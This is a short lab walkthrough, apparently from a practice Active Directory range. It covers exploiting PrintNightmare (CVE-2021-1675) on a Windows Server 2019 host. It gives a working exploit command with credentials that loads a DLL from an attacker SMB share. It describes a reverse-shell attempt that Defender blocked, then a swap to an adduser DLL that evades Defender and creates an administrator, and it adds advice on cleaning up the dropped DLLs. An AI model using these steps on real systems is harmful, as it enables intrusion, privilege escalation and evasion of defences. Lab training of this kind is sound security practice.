Exploit

Exploit on vulnerable windows server 2019 (Bronx)

  • Now try the same exploit on a vulnerable windows server 2019

python3 CVE-2021-1675.py north.newyork.local/elena.lopez:'princesa1'@north.newyork.local '\\192.168.56.31\ATTACKERSHARE\nightmare.dll'

To exploit printnightmare we will first check if the spooler is active on targets

Check spooler is active

Create Revershell and place it in the smb directory

Setup the listener

No shell.. It gets caught by defender

Lets craft a new dll

  • Let’s change the payload with another code (source : https://github.com/newsoft/adduser

  • Good (thing) to know : after some failures the spooler service will be stopped by defender and no more exploit for you until someone restart the server or the spooler service.

  • with this payload we can bypass defender and add our user as administrator

Compile

  • relaunch the exploit

dumpy dumpy dumpy love love

cleanup

  • After the exploitation you will find your dlls inside : C:\Windows\System32\spool\drivers\x64\3

  • And also inside : C:\Windows\System32\spool\drivers\x64\3\Old\{id}\

  • Don’t forget to clean up ;)

Last updated